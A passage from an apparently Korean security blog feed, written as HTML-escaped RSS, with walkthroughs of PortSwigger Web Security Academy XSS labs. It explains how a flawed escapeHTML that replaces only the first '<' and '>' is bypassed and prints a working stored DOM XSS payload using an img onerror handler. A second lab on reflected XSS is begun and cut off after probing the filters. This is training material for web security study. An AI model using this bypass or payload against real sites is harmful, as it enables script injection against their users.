&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;989&quot; data-origin-height=&quot;659&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WFpja/dJMcafAHKua/vLbMCiD9qtcN4goJ2OJBb0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WFpja/dJMcafAHKua/vLbMCiD9qtcN4goJ2OJBb0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WFpja/dJMcafAHKua/vLbMCiD9qtcN4goJ2OJBb0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWFpja%2FdJMcafAHKua%2FvLbMCiD9qtcN4goJ2OJBb0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;466&quot; data-origin-width=&quot;989&quot; data-origin-height=&quot;659&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;개발자&amp;nbsp;도구의&amp;nbsp;Sources&amp;nbsp;탭에서&amp;nbsp;댓글을&amp;nbsp;불러오는&amp;nbsp;`loadCommentsWithVulnerableEscapeHtml.js`&amp;nbsp;파일을&amp;nbsp;확인함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;989&quot; data-origin-height=&quot;659&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ObCFE/dJMcag7oLvW/OrrkcQGEhGFtUkf1V7t7a0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ObCFE/dJMcag7oLvW/OrrkcQGEhGFtUkf1V7t7a0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ObCFE/dJMcag7oLvW/OrrkcQGEhGFtUkf1V7t7a0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FObCFE%2FdJMcag7oLvW%2FOrrkcQGEhGFtUkf1V7t7a0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;466&quot; data-origin-width=&quot;989&quot; data-origin-height=&quot;659&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;DOM-based&amp;nbsp;XSS의&amp;nbsp;경우&amp;nbsp;클라이언트&amp;nbsp;측에서&amp;nbsp;발생하는&amp;nbsp;취약점이기&amp;nbsp;때문에&amp;nbsp;Javascript&amp;nbsp;파일을&amp;nbsp;분석해서&amp;nbsp;댓글에&amp;nbsp;입력한&amp;nbsp;값을&amp;nbsp;어떤&amp;nbsp;식으로&amp;nbsp;처리하고&amp;nbsp;있는지&amp;nbsp;확인하고자&amp;nbsp;했다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;댓글,&amp;nbsp;즉&amp;nbsp;사용자가&amp;nbsp;입력한&amp;nbsp;값이&amp;nbsp;`escapeHTML`&amp;nbsp;함수의&amp;nbsp;인자&amp;nbsp;값으로&amp;nbsp;들어가고&amp;nbsp;있는&amp;nbsp;것을&amp;nbsp;확인했고&amp;nbsp;해당&amp;nbsp;반환&amp;nbsp;값을&amp;nbsp;`innerHTML`을&amp;nbsp;통해&amp;nbsp;HTML로&amp;nbsp;파싱&amp;nbsp;되고&amp;nbsp;있는&amp;nbsp;것을&amp;nbsp;확인함.&amp;nbsp;이는&amp;nbsp;이스케이프&amp;nbsp;처리가&amp;nbsp;미흡하다면&amp;nbsp;DOM-based&amp;nbsp;XSS로&amp;nbsp;이어질&amp;nbsp;수&amp;nbsp;있음.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;989&quot; data-origin-height=&quot;659&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2jJcZ/dJMb991z1uJ/kLrM9v4NkKCxr7sLVBf5yK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2jJcZ/dJMb991z1uJ/kLrM9v4NkKCxr7sLVBf5yK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2jJcZ/dJMb991z1uJ/kLrM9v4NkKCxr7sLVBf5yK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2jJcZ%2FdJMb991z1uJ%2FkLrM9v4NkKCxr7sLVBf5yK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;466&quot; data-origin-width=&quot;989&quot; data-origin-height=&quot;659&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이어서&amp;nbsp;`escapeHTML`&amp;nbsp;함수를&amp;nbsp;확인해&amp;nbsp;보면&amp;nbsp;취약한&amp;nbsp;방식으로&amp;nbsp;댓글&amp;nbsp;입력&amp;nbsp;값을&amp;nbsp;이스케이프&amp;nbsp;처리하고&amp;nbsp;있음을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있음.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;989&quot; data-origin-height=&quot;659&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1CgbB/dJMcah6p2ID/FqbqjL2UxM309VsP8yo4i0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1CgbB/dJMcah6p2ID/FqbqjL2UxM309VsP8yo4i0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1CgbB/dJMcah6p2ID/FqbqjL2UxM309VsP8yo4i0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1CgbB%2FdJMcah6p2ID%2FFqbqjL2UxM309VsP8yo4i0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;466&quot; data-origin-width=&quot;989&quot; data-origin-height=&quot;659&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 87px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 87px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 87px;&quot;&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;`html.replace('&amp;lt;',&amp;nbsp;'&amp;amp;lt;')`의&amp;nbsp;경우&amp;nbsp;첫&amp;nbsp;번째&amp;nbsp;`&amp;lt;`&amp;nbsp;만&amp;nbsp;`&amp;amp;lt;`로&amp;nbsp;변환하며&amp;nbsp;`.replace('&amp;gt;',&amp;nbsp;'&amp;amp;gt;')`의&amp;nbsp;경우&amp;nbsp;첫&amp;nbsp;번째&amp;nbsp;`&amp;gt;`만&amp;nbsp;`&amp;amp;gt;`로&amp;nbsp;변환한다.&amp;nbsp;따라서&amp;nbsp;`&amp;lt;`,&amp;nbsp;`&amp;gt;`&amp;nbsp;먼저&amp;nbsp;사용하고&amp;nbsp;그&amp;nbsp;뒤에&amp;nbsp;사용하는&amp;nbsp;`&amp;lt;`,&amp;nbsp;`&amp;gt;`은&amp;nbsp;&amp;nbsp;`&amp;amp;lt;`,&amp;nbsp;`&amp;amp;gt;`로&amp;nbsp;치환되지&amp;nbsp;않는다.&amp;nbsp;첫&amp;nbsp;번째로&amp;nbsp;나오는&amp;nbsp;문자들만&amp;nbsp;치환을&amp;nbsp;하고&amp;nbsp;있기&amp;nbsp;때문에&amp;nbsp;이스케이프&amp;nbsp;처리가&amp;nbsp;미흡하다는&amp;nbsp;것을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;게시물 페이지로 돌아가서 Leave a comment 부분의 Comment 필드에 이스케이프 처리를 우회하는 방식을 적용한 페이로드를 삽입하고 Post Comment 버튼을 클릭함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[페이로드]&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1784967294232&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;&amp;gt;&amp;lt;img src='x' onerror='alert(&quot;xss&quot;)'&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;989&quot; data-origin-height=&quot;659&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zyMf2/dJMcafgq0ts/Vprf0mjNu9MpPjVEt0kRVk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zyMf2/dJMcafgq0ts/Vprf0mjNu9MpPjVEt0kRVk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zyMf2/dJMcafgq0ts/Vprf0mjNu9MpPjVEt0kRVk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzyMf2%2FdJMcafgq0ts%2FVprf0mjNu9MpPjVEt0kRVk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;466&quot; data-origin-width=&quot;989&quot; data-origin-height=&quot;659&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;[설명]&lt;/b&gt;&lt;br /&gt;처음에&amp;nbsp;오는&amp;nbsp;`&amp;lt;`,&amp;nbsp;`&amp;gt;`&amp;nbsp;만&amp;nbsp;필터링이&amp;nbsp;적용된다는&amp;nbsp;것을&amp;nbsp;이용하여&amp;nbsp;이벤트&amp;nbsp;핸들러를&amp;nbsp;사용한&amp;nbsp;`img`&amp;nbsp;태그를&amp;nbsp;삽입했고&amp;nbsp;alert&amp;nbsp;함수를&amp;nbsp;호출하도록&amp;nbsp;했다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;페이로드가&amp;nbsp;삽입된&amp;nbsp;게시물&amp;nbsp;페이지에&amp;nbsp;접속하면&amp;nbsp;페이로드가&amp;nbsp;동작하며&amp;nbsp;`alert`&amp;nbsp;함수가&amp;nbsp;호출되는&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있음.&amp;nbsp;따라서&amp;nbsp;XSS&amp;nbsp;공격에&amp;nbsp;취약함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;989&quot; data-origin-height=&quot;659&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cfaAcY/dJMcabkO2qG/TMk8QVt6s76B8bQIKq0Hc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cfaAcY/dJMcabkO2qG/TMk8QVt6s76B8bQIKq0Hc0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cfaAcY/dJMcabkO2qG/TMk8QVt6s76B8bQIKq0Hc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcfaAcY%2FdJMcabkO2qG%2FTMk8QVt6s76B8bQIKq0Hc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;466&quot; data-origin-width=&quot;989&quot; data-origin-height=&quot;659&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제 요구대로 저장형 DOM 취약점을 이용하여 `alert` 함수를 호출했으므로 랩 문제 해결함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;989&quot; data-origin-height=&quot;659&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwNRoJ/dJMcaccSL4N/ag0OjurVvGElfusKtI3fHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwNRoJ/dJMcaccSL4N/ag0OjurVvGElfusKtI3fHK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwNRoJ/dJMcaccSL4N/ag0OjurVvGElfusKtI3fHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcwNRoJ%2FdJMcaccSL4N%2Fag0OjurVvGElfusKtI3fHK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;466&quot; data-origin-width=&quot;989&quot; data-origin-height=&quot;659&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/PortSwigger Web Security Academy</category>
      <category>DOM-based XSS</category>
      <category>portswigger</category>
      <category>Stored DOM XSS</category>
      <category>XSS</category>
      <category>모의해킹</category>
      <category>모의해킹 공부</category>
      <category>미흡한 이스케이프 처리</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/42</guid>
      <comments>https://code000.tistory.com/entry/Lab-Stored-DOM-XSS#entry42comment</comments>
      <pubDate>Sat, 25 Jul 2026 17:22:39 +0900</pubDate>
    </item>
    <item>
      <title>Lab: Reflected XSS with event handlers and href attributes blocked</title>
      <link>https://code000.tistory.com/entry/Lab-Reflected-XSS-with-event-handlers-and-href-attributes-blocked</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;https://portswigger.net/web-security/cross-site-scripting/contexts/lab-event-handlers-and-href-attributes-blocked&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표 &amp;amp; 사용 도구&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt; XSS 취약점을 이용하여 alert 함수를 호출하는 것입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Burp Suite&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 설명&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 랩에는 reflected XSS 취약점이 있고 화이트 리스트 필터링으로 몇몇 태그가 사용이 불가능하다고 합니다. 또한 모든 이벤트 속성과 `&amp;lt;a&amp;gt;` 태그의 `href` 속성이 차단되어 있다고 합니다. 랩을 해결하기 위해서는 랩 유저가 클릭했을 때 `alert` 함수를 호출하는 벡터를 삽입하여 XSS 공격을 수행하라고 합니다. 랩 유저가 벡터를 클릭하도록 하기 위해서는 `&quot;Click&quot;` 단어를 사용해야 한다고 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ACCESS&amp;nbsp;THE&amp;nbsp;LAB을&amp;nbsp;클릭해서&amp;nbsp;랩에&amp;nbsp;접속합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GA81P/dJMcabSxUqc/ivsYjtekWZUUwFrF1VCnlk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GA81P/dJMcabSxUqc/ivsYjtekWZUUwFrF1VCnlk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GA81P/dJMcabSxUqc/ivsYjtekWZUUwFrF1VCnlk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGA81P%2FdJMcabSxUqc%2FivsYjtekWZUUwFrF1VCnlk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;검색어&amp;nbsp;입력란에&amp;nbsp;임의의&amp;nbsp;값을&amp;nbsp;입력하고&amp;nbsp;Search&amp;nbsp;버튼을&amp;nbsp;클릭하여&amp;nbsp;요청을&amp;nbsp;전송합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mBcE0/dJMcaheeMZo/12p5fA4gR0bg2fHl9SAaD1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mBcE0/dJMcaheeMZo/12p5fA4gR0bg2fHl9SAaD1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mBcE0/dJMcaheeMZo/12p5fA4gR0bg2fHl9SAaD1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmBcE0%2FdJMcaheeMZo%2F12p5fA4gR0bg2fHl9SAaD1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이때의&amp;nbsp;요청과&amp;nbsp;응답을&amp;nbsp;Burp&amp;nbsp;Suite를&amp;nbsp;사용하여&amp;nbsp;취득해&amp;nbsp;보면&amp;nbsp;`&amp;lt;h1&amp;gt;`&amp;nbsp;태그&amp;nbsp;안에&amp;nbsp;사용자가&amp;nbsp;입력한&amp;nbsp;값이&amp;nbsp;삽입되고&amp;nbsp;있는&amp;nbsp;것을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1115&quot; data-origin-height=&quot;585&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cD7yKr/dJMcaf8rsCH/xcYKNdIvNvbUqWLXsTISJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cD7yKr/dJMcaf8rsCH/xcYKNdIvNvbUqWLXsTISJ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cD7yKr/dJMcaf8rsCH/xcYKNdIvNvbUqWLXsTISJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcD7yKr%2FdJMcaf8rsCH%2FxcYKNdIvNvbUqWLXsTISJ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;446&quot; data-origin-width=&quot;1115&quot; data-origin-height=&quot;585&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;검색어&amp;nbsp;입력으로&amp;nbsp;돌아와서&amp;nbsp;특수문자&amp;nbsp;4개를&amp;nbsp;삽입&amp;nbsp;후&amp;nbsp;Search&amp;nbsp;버튼을&amp;nbsp;클릭하여&amp;nbsp;요청을&amp;nbsp;전송합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UTjpF/dJMcagNcJv5/wxjJ1yIIc2Zbci8omQsdK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UTjpF/dJMcagNcJv5/wxjJ1yIIc2Zbci8omQsdK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UTjpF/dJMcagNcJv5/wxjJ1yIIc2Zbci8omQsdK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUTjpF%2FdJMcagNcJv5%2FwxjJ1yIIc2Zbci8omQsdK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;특수문자&amp;nbsp;`&amp;lt;`,&amp;nbsp;`'`,&amp;nbsp;`&quot;`,&amp;nbsp;`&amp;gt;`&amp;nbsp;은&amp;nbsp;HTML&amp;nbsp;태그를&amp;nbsp;만들&amp;nbsp;때&amp;nbsp;사용하는&amp;nbsp;특수문자들입니다.&amp;nbsp;이러한&amp;nbsp;특수문자들에&amp;nbsp;대해서&amp;nbsp;필터링을&amp;nbsp;하고&amp;nbsp;있는지&amp;nbsp;확인하기&amp;nbsp;위해&amp;nbsp;특수문자들을&amp;nbsp;삽입하고&amp;nbsp;응답을&amp;nbsp;확인했습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;해당&amp;nbsp;요청과&amp;nbsp;응답을&amp;nbsp;취득하여&amp;nbsp;응답을&amp;nbsp;확인해&amp;nbsp;보면&amp;nbsp;HTML&amp;nbsp;태그를&amp;nbsp;만들&amp;nbsp;때&amp;nbsp;사용하는&amp;nbsp;특수&amp;nbsp;문자들이&amp;nbsp;필터링&amp;nbsp;적용되지&amp;nbsp;않고&amp;nbsp;있는&amp;nbsp;것을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있습니다.&lt;/li&gt;
&lt;/ul&gt;
